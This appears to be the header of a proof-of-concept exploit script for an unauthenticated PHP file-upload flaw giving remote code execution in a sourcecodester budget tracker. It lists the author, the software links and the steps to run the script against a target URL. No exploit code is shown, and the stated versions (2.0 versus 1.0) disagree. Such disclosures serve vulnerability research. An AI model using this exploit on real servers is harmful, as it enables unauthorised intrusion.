    # Exploit Author: Abdullah Khawaja (hax.3xploit)
    # Date: 2021-09-21
    # Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget.zip
    # Version: 2.0
    # Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
    # Description: Budget and Expense Tracker System 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.
    
    
    
    # RCE via executing exploit:
    # Step 1: run the exploit in python with this command: python3 BMAETS_v1.0.py
    # Step 2: Input the URL of the vulnerable application: Example: http://localhost/expense_budget/
